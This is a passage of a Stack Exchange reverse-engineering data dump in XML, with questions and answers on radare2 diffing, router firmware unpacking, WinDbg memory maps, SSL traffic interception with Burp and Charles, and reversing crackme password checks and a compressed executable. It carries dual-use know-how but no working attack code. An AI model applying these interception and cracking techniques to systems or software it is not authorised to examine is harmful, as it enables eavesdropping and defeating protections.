  <row Id="13978" PostTypeId="2" ParentId="13969" CreationDate="2016-11-18T14:31:51.017" Score="1" Body="&lt;p&gt;there is a slight syntax change between 1.1 and 2.01 the square are compulsory even when not dereferencing   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so to have a condition where eax points to unicode string you need a condition like   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[UNICODE EAX] == &quot;what&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you have code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;wchar_t *strings[] = { L&quot;is this what&quot;, L&quot;does it matter&quot;, L&quot;what is this&quot;,&#xA;  L&quot;who are you&quot;, L&quot;why am i doing this&quot;, L&quot;lest scoot from here&quot;&#xA;};&#xA;PWCHAR foo (int a) {&#xA;  return strings[a];&#xA;}&#xA;int main(void ) {&#xA;  for(int i=5;i&amp;gt;=0;i--) {&#xA;    printf(&quot;%S\n&quot;,foo(i));&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;setting a break as shown in screenshot will break correctly in 2.01&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YVDVY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YVDVY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-11-18T14:31:51.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13980" PostTypeId="1" CreationDate="2016-11-18T15:35:31.133" Score="3" ViewCount="248" Body="&lt;p&gt;I have two x86-64 UEFI applications &lt;code&gt;original.efi&lt;/code&gt; and &lt;code&gt;patched.efi&lt;/code&gt;. I want to find out what have been changed in &lt;code&gt;patched.efi&lt;/code&gt; and what these changes do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use the Radare2 framework to solve this task:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$ radiff2 original.efi patched.efi&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Buffer truncated to 283136 bytes (1024 not compared)&#xA;0x000000d8 e129 =&amp;gt; d52e 0x000000d8&#xA;0x000099d0 35 =&amp;gt; 00 0x000099d0&#xA;0x0000eefb 3637 =&amp;gt; 3730 0x0000eefb&#xA;0x0000ef03 3031323538 =&amp;gt; 3330353136 0x0000ef03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have then opened two windows side by side and run radare2 on each file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$ radare2 original.efi&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0000a66c] aaa&#xA;[0x0000a66c] s 0x000000d8&#xA;[0x000000d8] pd 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$ radare2 patched.efi&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0000a66c] aaa&#xA;[0x0000a66c] s 0x000000d8&#xA;[0x000000d8] pd 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case there is a difference at the address, but it looks like there is something wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000000d8    d5           invalid            |     0x000000d8    e129         loope 0x103&#xA;0x000000d9    2e05000a0000 add eax, 0xa00     |     0x000000da    05000a0000   add eax, 0xa00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in many cases I have found that even though radiff2 reports a difference at a memory location, when I try to compare like described above, no differences are found and the lines are identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain if I'm doing anything wrong or maybe a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I do not have access to a Windows system, so I can only use tools available for Linux.&lt;/p&gt;&#xA;" OwnerUserId="18140" LastActivityDate="2016-11-18T15:35:31.133" Title="Comparing two UEFI applications?" Tags="|disassembly|radare2|patch-reversing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13981" PostTypeId="2" ParentId="13664" CreationDate="2016-11-18T16:27:29.807" Score="4" Body="&lt;p&gt;I found the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The router runs ZynOS and needed to be extracted using &lt;a href=&quot;https://github.com/dev-zzo/router-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;router-tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once downloaded, I ran the command&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;python zynos.py unpack TDW8961N&lt;/code&gt; to unpack the router frimware. All I had to do now was use &lt;code&gt;binwalk -Y file&lt;/code&gt; to find out the architecture and then load the files into IDA and disassemble using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.openwrt.org/doku.php?id=oldwiki:openwrtdocs:hardware:zyxel:p_335wt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.openwrt.org/doku.php?id=oldwiki:openwrtdocs:hardware:zyxel:p_335wt&lt;/a&gt; to figure out where to start the ROM.&lt;/p&gt;&#xA;" OwnerUserId="17681" LastEditorUserId="17681" LastEditDate="2016-11-26T18:36:16.497" LastActivityDate="2016-11-26T18:36:16.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13982" PostTypeId="2" ParentId="13953" CreationDate="2016-11-18T17:15:00.287" Score="0" Body="&lt;p&gt;if you are comfortable with text parsing&lt;br&gt;&#xA;right_click-&gt; copy to clipboard-&gt;wholetable&lt;br&gt;&#xA;paste to foo.txt and print the required columns with awk   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;awk &quot;{print $1,$2,$3,$5}&quot; memor.txt | head -n 6&#xA;Memory map&#xA;Address Size Owner Contains&#xA;00010000 00010000 &amp;gt; Heap&#xA;00030000 00004000 &amp;gt; Map&#xA;00040000 00002000 &amp;gt; Map&#xA;00050000 00001000 &amp;gt; Priv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;update &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use windbg !address command with -c &quot;cmdstr&quot; option as pasted below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;%1 to %7&lt;/code&gt; are place holders respectively for&lt;br&gt;&#xA;&lt;code&gt;base,end,size .type , state,protection and usage&lt;/code&gt;&lt;br&gt;&#xA;that !address command understand and replaces in the &lt;code&gt;command string&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; !address -c:&quot;.printf \&quot;%8x\\t%8x\\t%7\\t        %4\\n\&quot; , %1 , %3&quot;&#xA;       0       10000    Free            &#xA;   10000       10000    Heap            MEM_MAPPED&#xA;   20000       10000    Free            &#xA;   30000        4000    Other           MEM_MAPPED&#xA;   34000        c000    Free            &#xA;   40000        2000    Other           MEM_MAPPED&#xA;   42000        e000    Free            &#xA;   50000        1000    Other           MEM_PRIVATE&#xA;   51000       5f000    Free            &#xA;   b0000       3c000    Stack           MEM_PRIVATE&#xA;   ec000        1000    Stack           MEM_PRIVATE&#xA;   ed000        3000    Stack           MEM_PRIVATE&#xA;   f0000       67000    MappedFile          MEM_MAPPED&#xA;  157000       19000    Free            &#xA;  170000        6000    Heap            MEM_PRIVATE&#xA;  176000       fa000    Heap            MEM_PRIVATE&#xA;  270000      920000    Free            &#xA;  b90000        1000    Image           MEM_IMAGE&#xA;  b91000       53000    Image           MEM_IMAGE&#xA;  be4000        5000    Image           MEM_IMAGE&#xA;  be9000       67000    Image           MEM_IMAGE&#xA;  c50000    6ccc0000    Free            &#xA;6d910000        1000    Image           MEM_IMAGE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-11-30T06:43:21.090" LastActivityDate="2016-11-30T06:43:21.090" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13984" PostTypeId="5" CreationDate="2016-11-18T18:07:50.707" Score="0" Body="&lt;p&gt;Use this tag for questions about legacy iPod hardware and software (pre-iOS).&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-19T04:40:39.600" LastActivityDate="2016-11-19T04:40:39.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13985" PostTypeId="4" CreationDate="2016-11-18T18:07:50.707" Score="0" Body="Apple's portable media player, first version released on November 10, 2001." OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-19T04:40:21.860" LastActivityDate="2016-11-19T04:40:21.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13986" PostTypeId="1" CreationDate="2016-11-19T07:02:18.650" Score="0" ViewCount="452" Body="&lt;p&gt;I was looking at the bootlog for the WAG160N found here: &lt;a href=&quot;https://wiki.openwrt.org/toh/linksys/wag160n&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.openwrt.org/toh/linksys/wag160n&lt;/a&gt; and I wanted to clarify how the booting works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Boot Address 0xbfc00000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total memory used by CFE:  0x80401000 - 0x80528800 (1210368)*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the boot address not within in total memory used range (0x8040100-0x80528800) of CFE? If I understand correctly 0xbfc00000 is already a virtual memory address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17998" LastActivityDate="2017-06-17T13:12:29.880" Title="Understanding bootlog load address" Tags="|ida|firmware|mips|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13987" PostTypeId="2" ParentId="13986" CreationDate="2016-11-19T09:04:58.847" Score="1" Body="&lt;p&gt;MIPS &lt;a href=&quot;http://www.johnloomis.org/microchip/pic32/memory/memory.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;memory mapping&lt;/a&gt; is pretty peculiar. The virtual address &lt;code&gt;0xbfc00000&lt;/code&gt; (in &lt;code&gt;kseg1&lt;/code&gt;) corresponds to the physical address &lt;code&gt;0x1fc00000&lt;/code&gt; and is likely in ROM. I suspect that the range 0x80401000 - 0x80528800  is in RAM (&lt;code&gt;kseg0&lt;/code&gt;), so it's natural the addresses don't match. To know more you will probably need to read the processor's datasheet and/or board schematics to figure out where exactly and how much ROM and RAM are present.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-19T09:04:58.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13988" PostTypeId="2" ParentId="13972" CreationDate="2016-11-19T16:02:47.623" Score="0" Body="&lt;p&gt;Although the complete picture of your assembly cannot be reconstructed, as there is something missing at the bottom, it can be said that your C re-coding is correct in the first (and simpler) loop, but wrong in the second loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First loop&lt;/strong&gt;: This is simply a strlen of the command line parameter,        being stored in the local variable i.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second loop&lt;/strong&gt;: Calculation of k    from each character of the command line (presumably, because the rest    of the loop is missing), taking    into account the old k value. Probably that algo is part of your crackme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your &quot;while&quot; comparison of the 2nd loop is wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The re-compiled code as I see it could look like follows (probably correct until the last statement of the second loop, the rest remained your secret):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int WinMain(_In_ HINSTANCE hInstance, &#xA;    HINSTANCE hPrevInstance,&#xA;    LPTSTR    lpCmd,            //ebp+10h&#xA;    int       nCmdShow)&#xA;{&#xA;    int j = 0;      //ebp-4&#xA;    int i = 0;      //ebp-8&#xA;    MessageBox(0, &quot;crackname&quot;, &quot;&quot;, 0);&#xA;    int k = 0;      //ebp-c&#xA;&#xA;    //you got this correct&#xA;    //i contains the string length at lpCmd, i.e. the command line parameter length&#xA;    for (i = 0; *(lpCmd + i); i++) {&#xA;    }&#xA;&#xA;    //iterate through all elements of the parameter and calculate sth.&#xA;    //the algo calculates k and probably j is incremented. &#xA;    //However, the rest of the loop is missing in your assembler code&#xA;    while (j &amp;lt; i) {&#xA;        k = *(lpCmd + j)+k-0x2f; //this contains the lea statement&#xA;        //from here, your code is missing&#xA;        j++;&#xA;    }&#xA;    //MessageBox(0, &quot;success&quot;, &quot;&quot;, 0);&#xA;    //return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2016-11-19T16:17:32.457" LastActivityDate="2016-11-19T16:17:32.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13989" PostTypeId="1" CreationDate="2016-11-19T17:10:21.670" Score="3" ViewCount="1400" Body="&lt;p&gt;I have to analyse SSL traffic of an executable under Windows 10.&#xA;This sounds trivial really, why not just use Burp suite?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using Burp&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Using Burp I setup an invisible proxy listenning on port 443 and redirecting to target host's IP. Then in Windows hosts file I add the line &quot;127.0.0.1 ex.host.com&quot;.&#xA;After adding Burp CA into Windows Trusted CA store it works well when I navigate to ex.host.com with Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the application I have to analyse doesn't seem to take into account the computer trusted CA and I have the error &quot;unknown_ca&quot; in burp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app use OpenSSL and the OpenSSL code is embed in the exe (no DLL). Meaning that I also have no way to locate through the code in a debugger for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is to force the application to trust my Burp CA but I need a hint to do that.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using oSpy&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;a href=&quot;https://github.com/oleavr/ospy&quot; rel=&quot;noreferrer&quot;&gt;oSpy&lt;/a&gt; but after attaching oSpy to the target process It's stuck with the splash &quot;Waiting for logging agent.&quot;&lt;/p&gt;&#xA;" OwnerUserId="18150" LastEditorUserId="17972" LastEditDate="2016-11-19T17:28:00.947" LastActivityDate="2017-07-17T23:00:53.037" Title="Analysis of SSL traffic from a Windows 10 application" Tags="|dynamic-analysis|packet|sniffing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13990" PostTypeId="2" ParentId="13989" CreationDate="2016-11-19T17:16:11.810" Score="1" Body="&lt;p&gt;I'm not sure if this will solve your issue, but have you tried using &lt;a href=&quot;https://www.charlesproxy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Charles Proxy&lt;/a&gt; with &lt;a href=&quot;https://www.charlesproxy.com/documentation/proxying/ssl-proxying/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSL Proxying&lt;/a&gt; enabled?  Charles can perform a man-in-the-middle attack and get the contents of the applications's web request if the application is not using certificate pinning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've only used the Mac version, but generally what you would do is install the Charles root certificate, enable SSL proxying for the host you want to listen to, and then begin recording network traffic and run the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the host rejects the request, even after installing the root certificate and enabling SSL proxying, the server uses certificate pinning and the traffic cannot be intercepted with Charles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with Burp or the &quot;unknown_ca&quot; error.  It's possible that you are setting up your SSL proxy properly with the application and the server is just rejecting the Burp certificate.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2016-11-19T17:16:11.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13992" PostTypeId="1" AcceptedAnswerId="13993" CreationDate="2016-11-19T20:36:11.317" Score="4" ViewCount="4367" Body="&lt;p&gt;I'm working with a program that I can't reasonably run from console; it is started by another program with complex calculated and network-gotten arguments, and that program is complicated as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view output on Windows I can AllocConsole, but it seems there is no such equivalent for Mac. According to Ivan Vučica, &quot;A console is &quot;allocated&quot; by default. You cannot order the OS to open a console though.&quot; (&lt;a href=&quot;https://stackoverflow.com/questions/1518717/how-to-get-an-output-console-in-an-ogre-project-under-macosx&quot;&gt;link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His answer gives some good information, but little useful in a reverse-engineering context as I don't have the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if I really, really, really want to get a console instead of outputting to a file or creating some GUI, what might I do? If project options allows for enabling / disabling console, presumably there is some flag in the .app. Is it editable? Are there other options?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-19T21:41:27.807" Title="MacOS: Output to console in non-console app" Tags="|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13993" PostTypeId="2" ParentId="13992" CreationDate="2016-11-19T21:41:27.807" Score="2" Body="&lt;p&gt;It really depends what the application you are trying to run is logging to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application uses &lt;code&gt;NSLog()&lt;/code&gt; and other associated Cocoa APIs, you're in luck.  The output should appear in the Apple system log and can be viewed and caputired using Console.app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application is logging to stdout, things get a little more challenging.  From &lt;a href=&quot;https://stackoverflow.com/q/13104588/2415822&quot;&gt;how to get stdout into Console.app&lt;/a&gt; on Stack Overflow:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Prior to Mountain Lion, all processes managed by &lt;code&gt;launchd&lt;/code&gt;, including&#xA;  regular applications, had their stdout and stderr file descriptors&#xA;  forwarded to the system log. In Mountain Lion and above, stdout and&#xA;  stderr go nowhere for &lt;code&gt;launchd&lt;/code&gt; managed applications. Only messages&#xA;  explicitly sent to the system log will end up there.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure it would be possible to see these log messages, unless you were to redirect stdout or somehow hook into whatever function that application was using to log and ASL (now deprecated) or &lt;code&gt;os_log&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're lucky, you can run the original OS X bundle application from the command line, and look for any useful logging from there.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-19T21:41:27.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13995" PostTypeId="1" AcceptedAnswerId="14025" CreationDate="2016-11-20T00:51:26.477" Score="0" ViewCount="1239" Body="&lt;p&gt;I want to be able to accurately add a section to a binary by hand, without tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;http://www.cgsoftlabs.ro/studpe.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stud_Pe&lt;/a&gt; for adding a section to a binary. While this work, I feel it's important to be able to do this myself or at least understand it in it's entirety. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added Section/Stud here called &lt;strong&gt;.test&lt;/strong&gt; with a size of 0x2000 &lt;a href=&quot;https://i.stack.imgur.com/yBBSo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yBBSo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I noticed is that the when I do a bindiff on the newly added section There is always extra bytes added to this. Why is this? &#xA;&lt;a href=&quot;https://i.stack.imgur.com/SQ2bW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SQ2bW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there might be a pattern but it seems random and the sizes have to be exact , so I am curious if someone already knows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a difference list based on the bytes added. &#xA;Why is this happening? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x2000 2  bytes&#xA;0x3000 14 bytes&#xA;0x4000 10 bytes&#xA;0x5000 4  bytes&#xA;0x6000 18 bytes&#xA;0x7000 2  bytes&#xA;0x8000 16 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2016-11-22T15:34:11.357" Title="Adding section to PE binary using Stud_Pe" Tags="|windows|pe|binary|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13996" PostTypeId="2" ParentId="13912" CreationDate="2016-11-20T01:15:38.533" Score="1" Body="&lt;p&gt;If I understood the problem right, the task would have been solved in case an uncompressed (and running!) exe - having been linked with crinkler - could be produced. In the following I will show the steps how to achieve this. However, all the steps had been done in Ida and not in Olly, because I am not familiar with Olly. The procedure should be very similar. Here come the steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;: Let it run until after the &quot;ret&quot; of the compressor, dump to a bin file, patch the single byte explained below into a &quot;ret&quot; bypassing the decompressor, and finished. The nice thing with this technique is that absolutely no fiddling around with the PE header is necessary. All that magic loading with the PE header having been corrupted by crinkler remains intact. The PE header NEEDS NOT be touched in any way. Now, a more detailed description follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step1&lt;/strong&gt;: Produce an exe. I followed the line already having presented in this thread with a WinMain and a Message box. This worked without problem as expected (Win10, Compiler VS2013).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Load it into Ida, start address was 0x40005c. Some warnings, but finally the start function shows up. It is possible to set a breakpoint at the &quot;start&quot; position. Notably and interestingly, the first lines of this initial code MUST NOT be changed, otherwise Ida produces strange error messages like not accepting the Win32 local debugger or asking something about a %1 object. I assume this is due to the fact that this startup code must produce NOPs for the loader as it might reside somewhere in the PE header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Let the decompressor run until the &quot;ret&quot; statement having already been discussed in this thread (in my example, at address 0x4000d3). This &quot;ret&quot; indicates the end of the decompressor, the code returns into the application part, but beware: The application code has not been linked with Kernel32.lib. A typical technique like the one used in shellcode programming is used. The kernel32.dll address is found similar to the usual (and undocumented) way, having been excellently written dow by skape many years ago. Once the kernel32.dll address is known, all other OS dlls and API calls can be collected dynamically. Beforehand, and obviously as a result of the crinkling procedure, the necessary names like &quot;LoadLibraryA&quot;, &quot;user32.dll&quot; or &quot;MessageBoxA&quot; had been stored in hashed form. All windows library loading and access is done dynamically at runtime, also the generation of app defined strings. The purpose of all this is to improve the compression ratio and has (IMO!) nothing to do with the core compression algorithm. The similarity to shellcode programming is obvious: There free RAM space is a very precious resource, and therefore shellcode must be as compact as possible. Every byte counts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: At the beginning of the application part, i.e. after the discussed &quot;ret&quot; statement (address 0x420000 in my example), a memory dump must be made, RVA 0x400000 becoming offset zero in the file.  My dump started at 0x00400000 with a length of 0x50000. The highest address used by the uncompressor was in the example around 0x430000. The dump is trivial in Ida with a suitable small script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: Bypassing the uncompressor. As already mentioned, this MUST NOT be done at the &quot;start&quot; point, as it will not succeed. But luckily, some statements later (address 0x400076) the stack has been loaded by the uncompressor with the proper application address of 0x420000. All what have to be patched is a &quot;ret&quot; statement at address 400076, leading the code into the uncompressed part. A single byte patch is sufficient! The start part now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HEADER:0040005C                 public start&#xA;HEADER:0040005C start           proc near&#xA;HEADER:0040005C                 push    ebx&#xA;HEADER:0040005D                 xor     ebp, ebp&#xA;HEADER:0040005F                 mov     ebx, 2&#xA;HEADER:00400064                 nop&#xA;HEADER:00400065                 mov     esi, 400114h&#xA;HEADER:0040006A                 push    1&#xA;HEADER:0040006C                 pop     eax&#xA;HEADER:0040006D                 mov     edi, 420000h&#xA;HEADER:00400072                 mov     cl, 0&#xA;HEADER:00400074                 nop&#xA;HEADER:00400075                 push    edi&#xA;HEADER:00400076                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt;: Thats all, what is missing is to rename the file into a something.exe and try if it works. It worked, no complaints from the windows loader, and all possibilities to investigate with static breakpoints in the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if necessary the produced uncompressed exe can be provided.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2016-11-20T01:15:38.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13997" PostTypeId="2" ParentId="11602" CreationDate="2016-11-20T01:26:00.103" Score="3" Body="&lt;p&gt;It's after the &lt;code&gt;scanf()&lt;/code&gt; function it can get a bit confusing however I can explain this for you as I reversed this binary back to it's C code without the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Assembly after &lt;code&gt;scanf()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048426      e8e1feffff     call sym.imp.scanf&#xA;|           0x0804842b      c745f85a0000.  mov dword [ebp - local_8h], 0x5a ; 'Z'&#xA;|           0x08048432      c745f4ec0100.  mov dword [ebp - local_ch], 0x1ec&#xA;|           0x08048439      8b55f4         mov edx, dword [ebp - local_ch]&#xA;|           0x0804843c      8d45f8         lea eax, dword [ebp - local_8h]&#xA;|           0x0804843f      0110           add dword [eax], edx&#xA;|           0x08048441      8b45f8         mov eax, dword [ebp - local_8h]&#xA;|           0x08048444      0faf45f8       imul eax, dword [ebp - local_8h]&#xA;|           0x08048448      8945f4         mov dword [ebp - local_ch], eax&#xA;|           0x0804844b      8b45fc         mov eax, dword [ebp - local_4h]&#xA;|           0x0804844e      3b45f4         cmp eax, dword [ebp - local_ch]&#xA;|       ,=&amp;lt; 0x08048451      750e           jne 0x8048461&#xA;|       |   0x08048453      c704246f8504.  mov dword [esp], str.Password_OK_:__n ; [0x804856f:4]=0x73736150 LEA str.Password_OK_:__n ; &quot;Password OK :).&quot; @ 0x804856f&#xA;|       |   0x0804845a      e8bdfeffff     call sym.imp.printf&#xA;|      ,==&amp;lt; 0x0804845f      eb0c           jmp 0x804846d&#xA;|      ||   ; JMP XREF from 0x08048451 (sym.main)&#xA;|      |`-&amp;gt; 0x08048461      c704247f8504.  mov dword [esp], str.Invalid_Password__n ; [0x804857f:4]=0x61766e49 LEA str.Invalid_Password__n ; &quot;Invalid Password!.&quot; @ 0x804857f&#xA;|      |    0x08048468      e8affeffff     call sym.imp.printf&#xA;|      |    ; JMP XREF from 0x0804845f (sym.main)&#xA;|      `--&amp;gt; 0x0804846d      b800000000     mov eax, 0&#xA;|           0x08048472      c9             leave&#xA;\           0x08048473      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First Part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x0804842b      c745f85a0000.  mov dword [ebp - local_8h], 0x5a ; 'Z'&#xA;|           0x08048432      c745f4ec0100.  mov dword [ebp - local_ch], 0x1e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we can see values being &quot;moved&quot; into memory at the base pointer minus &lt;code&gt;0x8&lt;/code&gt; and minus &lt;code&gt;0xc&lt;/code&gt;. Remember that the 'h' means hex and local means is just the hex value minus the value of ebp or the base pointer. ebp stands for Extended Base Pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out what values are being stored convert the hex to decimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x5a = 90&#xA;0x1e = 492&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Think of this as storing variable in memory like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a = 90&#xA;int b = 492&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second Part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048439      8b55f4         mov edx, dword [ebp - local_ch]&#xA;|           0x0804843c      8d45f8         lea eax, dword [ebp - local_8h]&#xA;|           0x0804843f      0110           add dword [eax], edx&#xA;|           0x08048441      8b45f8         mov eax, dword [ebp - local_8h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember that computing something using registers is faster than computing it from memory so before each operation the compiler is going to try to move what it can into the registers to make it's calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We move &lt;code&gt;ebp-0xc -&amp;gt; 